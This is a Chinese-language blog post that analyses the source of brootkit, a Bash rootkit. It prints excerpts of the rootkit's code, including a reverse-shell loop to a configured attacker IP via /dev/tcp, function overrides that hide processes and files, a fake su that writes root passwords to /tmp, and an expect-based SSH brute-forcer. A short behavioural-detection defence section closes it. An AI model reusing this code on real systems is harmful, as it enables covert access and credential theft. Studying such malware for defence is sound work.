后门BROOTKIT代码学习和原理分析

  • A+
所属分类:渗透实战 系统安全

周末闲来无事,想找点东西学习一下,随手翻到了之前看到的一篇关于brootkit的文章,知道它是用Bash写的一个后门程序。刚好最近在做Bash相关的工作,就想着学习一下这方面的知识,稍作整理之后就有了本文。

另:想好好看看brootkit是如何实现的也源于一位”高手”的指导:渗透过程中尽量使用系统原生/已有的功能、机制,不要引入过多的「外部程序」,比如在Windows早期系统上,尽量使用vbs;在Windows7及以后,尽量使用PowerShell,而不是上来就拿个Python脚本在那跑,有没有Python环境还不一定呢(即便有Python,也不一定有相应的模块)?在Linux下,bash/sh就是一个很好的切入点,但这里说的也比较浅,不足之处还请大牛指点。

The quieter you become, the more you are able to hear.

0×01.简介

这部分内容主要是对该项目的README.md的简单翻译:

设计思路:

如果Bash可以用来设计实现rootkit检测工具(chkrootkit/rkhunter),那它同样可以被用来实现rootkit。brootkit就是用Bash实现的轻量级rootkit。

特性:

1. 对 管理员 或 主机IDS 有更好的隐藏特性

2. 盗取root用户密码

3. 隐藏文件和目录

4. 隐藏进程

5. 隐藏网络连接

6. 反连后门

7. 多线程端口扫描器

8. HTTP下载功能

9. 多线程SSH爆破功能

目标系统:

1. centos

2. rhel

3. ubuntu

4. debian

5. fedora

6. freebsd

待添加特性:

1. 盗取通过sudo输入的密码

安装:

1.首先编辑 br.conf 这个配置文件,设置要隐藏的 端口、文件、进程 列表,以及要反连到的IP和PORT

2.运行 ./install.sh 脚本

补充说明:

对于Freebsd系统来说,因为现代的freebsd系统中,root默认使用csh,其它的用户默认使用sh,所以此版本(v0.10)的brootkit只能支持到sh的那部分特性。在freebsd系统上的安装方法如下:

1.首先编辑 brsh.conf 这个配置文件设置要隐藏的 端口、文件、进程 列表,以及要反连到的IP和PORT

2.运行 ./brshinstall.sh 脚本

0×02.代码结构

[root@localhost brootkit]# pwd
/root/git_s/brootkit
[root@sec-fetcher brootkit]# tree .
.
├── bashbd.sh  #进行反向连接的后门程序
├── bashnc.sh
├── bashproxy.sh
├── bashtn.sh
├── brbomb.sh
├── br.conf  #配置文件
├── brconfig.sh  #解析配置文件的程序
├── brdaemon.sh
├── brget.sh  #实现HTTP下载功能的程序
├── brootkit.sh  #实现自我隐藏的程序
├── brscan.sh    #多线程端口扫描程序
├── brsh.conf
├── brshconfig.sh
├── brshinstall.sh  #freebsd系统下的安装程序
├── brshrootkit.sh
├── cronbd.sh
├── install.sh  #Linux系统下的安装程序
├── README.md
├── sshcrack.exp
├── sshcrack.sh  #多线程SSH爆破程序
├── ubd.sh
└── uninstall.sh

0 directories, 22 files

0×03.代码详解

1.首先来分析「install.sh」这个文件;

function main()
{
    br_check_os_type    #检查操作系统类型
    br_check_shell      #检查使用了bash/sh的用户有哪些,如果没有则立即退出
    br_check_privilege  #检查执行用户的权限
    br_set_rootkit_path #根据执行用户的权限设置安装目录
    br_creat_home       #在安装目录中存放要用到的脚本
    br_install_backdoor #在后台运行bashbd.sh脚本以进行反向连接

    #根据检测到的执行用户的权限决定是否执行下面2步
    if [ $br_privilege -eq 0 ]; then
        #根据检测到的操作系统类型有针对性的安装开机自启脚本(brdaemon.sh)以进行持久化反向连接
        case $br_os_type in
            1|2)
                br_centos_install ;;
            3)
                br_ubuntu_install ;;
            4)
                br_debian_install ;;
            5)
                br_fedora_install ;;
        esac
        br_install_rootkit  #伪装brootkit.sh为/etc/profile.d/emacs.sh
    fi

    if [ $? -eq 1 ]; then
        echo "install brootkit failed."
        exit
    else
        echo "install brootkit successful."
    fi
}

2.然后查看「bashbd.sh」文件(如何反弹shell);

br_set_rootkit_path     #根据(执行)用户的权限设置BR_ROOTKIT_PATH路径
. $BR_ROOTKIT_PATH/brconfig.sh  #在当前shell中加载 brconfig.sh 程序,引入 br_load_config 函数
br_load_config $BR_ROOTKIT_PATH/br.conf #调用 br_load_config 函数解析 br.conf 配置文件
br_connect_backdoor     #调用 br_connect_backdoor 函数以获取反弹shell(有Python的用Python,没有的用Bash)

function br_connect_backdoor()
{
    #...

    while [ 1 ]
    do  
        #...
        exec 9<> /dev/tcp/$target_ip/$target_port   #将9号文件描述符打开并重定向到在配置文件中设定的IP和PORT
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1  #检查上一步操作是否成功执行,如果失败则直接退出,否则把当前shell的标准输入和标准输出以及出错重定向到文件描述符
        if type python >/dev/null;then
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
        fi
        }&
        wait

        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

3.接下来看「brootkit.sh」文件(如何隐藏进程、端口和文件);

#"重载"ps命令,然后通过过滤ps命令的结果实现「隐藏」进程
function ps()
{
    #...
    proc_name=`/bin/ps $@`
    for hide_proc in ${br_hide_proc[@]}
    do
        proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
    done
    echo "$proc_name"
    #...
}

#「隐藏」文件、端口、函数的原理同上——"重载"对应的命令(ls/netstat/type/builtin/...),过滤输出结果

#盗取root用户密码
function su()
{
    #...
    [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

    echo -ne "Password:\r33[?25l"
    read -t 30 -s pass
    echo -ne "33[K33[?25h"

    #盗取root用户密码并记录至指定文件
    /bin/su && unset su && echo $pass >> /tmp/...
}

//上面的三个文件是实现rootkit的核心(自我隐藏、盗取密码和自动反连)所在,接下来看看作者提到的「HTTP下载功能」、「多线程端口扫描器」和「多线程SSH爆破功能」是如何实现的

4.来看看如何用原生Bash实现「HTTP下载功能」;

function main()
{
    #...
    parse_url $@    #解析传入参数中的URL

    file_init
    display_start $1
    socket_create $remote_host $remote_port #根据解析结果创建socket以进行连接
    br_send_request $remote_host $remote_port $remote_file  #发送HTTP下载请求
    br_get_run      #根据HTTP状态码决定具体调用的方法(直接下载/跟随跳转后下载/chunk传输下载)
    display_finsh
    socket_close    #关闭socket
}

在实际使用过程中发现了几个小问题:

  1. 无法跟踪"301"状态的跳转;
  2. 无法跟踪多次"302"跳转;
[root@localhost brootkit]# ./brget.sh http://www.baidu.com/img/bd_logo1.png
[root@localhost brootkit]# ./brget.sh https://www.baidu.com/img/bd_logo1.png

[root@localhost brootkit]# ./brget.sh https://github.com/cloudsec/brootkit/archive/master.zip

[root@localhost brootkit]# ./brget.sh http://sourceforge.net/projects/strace/files/latest/download?source=files\ strace-4.12.tar.xz

[root@localhost brootkit]# ./brget.sh http://downloads.sourceforge.net/project/strace/strace/4.12/strace-4.12.tar.xz

[root@localhost brootkit]# ./brget.sh http://ncu.dl.sourceforge.net/project/strace/strace/4.12/strace-4.12.tar.xz

还有就是,无法支持HTTPS资源的下载,容错性和稳定性上面和wget/curl还有较大差距。但能用纯shell把这个HTTP下载功能给实现,也真的是体现了作者对于HTTP协议的深入理解以及深厚的shell编程能力!这一部分的代码可以作为学习Bash编程以及熟悉HTTP协议的资料,绝对比看干巴巴的资料要来的快。

5.来看看实现「多线程端口扫描器」的「brscan.sh」文件;

# 脚本的主体流程: main -> br_scan_port -> thread_scan

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    #...
    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}  #用Bash进行网络请求(端口扫描)
        }&  #将命令放入后台执行,以达到「多线程」的效果
        #...
    done

    sleep $br_timeout

    exec 2>&-
    #等待后台执行的扫描任务正常退出or杀掉超时任务
    for pid in `jobs -p`
    do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue
        if [ $run_time -ge $br_timeout ]; then
            kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
        fi
    done

    #...
}

6.最后再来看看「sshcrack.sh和sshcrack.exp」文件;

# 程序执行的主体流程: main -> sshcrack_engine -> do_sshcrack -> ./sshcrack.exp

# ./sshcrack.sh
function do_sshcrack()
{
    local ret x=$(($1+4)) y=1

        ./sshcrack.exp $3 $2 $4 $5 $6 >/dev/null
        ret=$?
        if [ $ret -eq 6 ];then
                printf "33[${x}:${y}H33[32;1mThread[%2d]\t%s@%s\t\t==>\t[%-16s]\t[success]\t%2d\n33[0m" $1 $2 $3 $4 $ret
        kill -s SIGUSR2 $sshcrack_pid
                return 0
        else
        if [ $sshcrack_debug -eq 1 ]; then
                    printf "33[${x}:${y}H33[32;1mThread[%2d]\t%s@%s\t\t==>\t[%-16s]\t[failed]\t%2d\n33[0m" $1 $2 $3 $4 $ret
        fi
        fi
        return 1
}

# ./sshcrack.sh
spawn -noecho ssh -o ServerAliveInterval=2 -o ConnectTimeout=2 -t $USER@$IP $CMD
expect {
    "(yes/no)" { send "yes\r"; exp_continue }
    "*assword:" { send "$PASSWD\r" }
    "Name or service not known" { exit 8}
    "No route to host" { exit 4 }
    timeout { exit 5 }
    eof { exit 0 }
}
expect {
        "*assword:" { exit 3 }
        "uid=" { exit 6 }
        eof { exit 7 }
}

0x04.原理分析

1.如何实现文件、进程、端口的隐藏 和 盗取root用户密码

在上面的 install.sh 安装程序中有一行代码:「cp brootkit.sh /etc/profile.d/emacs.sh」,这一行代码的作用在于——以后每次打开一个登录shell的时候都会自动加载这个脚本(而脚本中的内容是一些和builtin命令重名的自定义function),从而实现Bash函数"重载",过滤掉相关输出内容,这样就可以达到自定义隐藏文件、进程、端口+盗取root用户密码的目的。『说明:这一行代码需要具有sudo/root权限才会执行』

补充:在Bash中命令的执行遵循下面的顺序

1. 自定义alias : alias su="ls -l"

2. 自定义function : function su { echo "Hello world"; }

3. Bash内置命令builtin

4. 外部程序(在环境变量PATH中进行查找)

但是简单的函数"重载"会被Bash内建的「builtin/declare/typeset/type/set/command」等命令识别出来,所以,除了给ls/ps/netstat等命令重新实现function之外,还需要做进一步的处理——将这些builtin命令也进行"重载"。这样就可以实现自定义隐藏文件、进程、端口+盗取root用户密码的功能。

2.如何实现反连后门

这里主要是利用了Linux系统原生的socket设备文件/dev/[tcp|udp]/..来实现socket连接和sleep保持;如果该系统上有更多的环境,你也可以参考「Reverse Shell Cheat Sheet」试试修改成其它的反弹shell的方法。

0x05.防御策略

brootkit这里主要用到了Bash和Linux系统自身提供的一些特性达到了自我隐藏和持久化反连的效果,如果只是单纯地通过关键字匹配/文件哈希值比对等静态的方法很难进行准确的检测;

所以建议就是——从异常行为入手。不该做的你别做,不该有的你别有,不该连的你别连……;如果做了,你就是可疑的(即便你是正常操作),在经过了一段时间的运维之后,可以得到一个正常操作的白名单,剩下的如果还有,那就非常可疑了。(注:这一段是我在看了网上的文章之后添加上的,虽然说起来就这么几句{「异常行为检测」、「基于文件/行为的白名单」、……},但实际要做好真的需要花非常多的人力和精力,希望以后能有机会把实际运维经验这一内容给补上。)

最后的最后,如果机器不幸被入侵了,那就:

事情结了后,能重装就重装吧,别折腾清理什么后门了。保不齐就被就被你没留意的一个小细节或者不知道的一个特性给坑了。Focus目标, 勿忘初心。

参考链接

发表评论

您必须才能发表评论!